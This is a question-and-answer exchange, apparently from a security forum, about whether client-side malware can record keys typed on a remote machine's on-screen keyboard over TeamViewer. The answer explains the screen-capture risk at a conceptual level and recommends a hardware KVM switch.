Teamviewer logging remote keystroke events I'm connecting to a remote machine via Teamviewer, let's assume it's trusted.  Is it possible for a MITM or virus on my local (client) machine to detect keys I enter using my remote machine's on-screen keyboard?  Or would that involve continuous screen capture (something I assume would degrade performance to the point of being eventually noticeable, and thus low efficacy for my hacker)?

Any surefire ideas for testing this would be appreciated.

Simply running basic image recognition on a low-resolution, low-framerate video to detect the keys being pressed via an on-screen keyboard would not degrade performance, so it is a practical attack against virtual keyboards. There are free and easy to use spyware utilities that come with this functionality built in, so even script kiddies can do this.

You fundamentally cannot input information securely when your method of inputting is compromised. The most a virtual keyboard can do is protect against hardware keyloggers connected to the keyboard. If something is monitoring input to a remote or virtualized machine, you've lost.

Perhaps you want to use a KVM (Keyboard Video Mouse) switch. They are devices which allow remote access to, as the name states, the keyboard, display, and mouse (and often other HIDs). These devices are simple and do not run a complex operating system, nor do they allow executing files, making them more or less immune from malicious activity. They are nothing more than an extension for your monitor and input devices.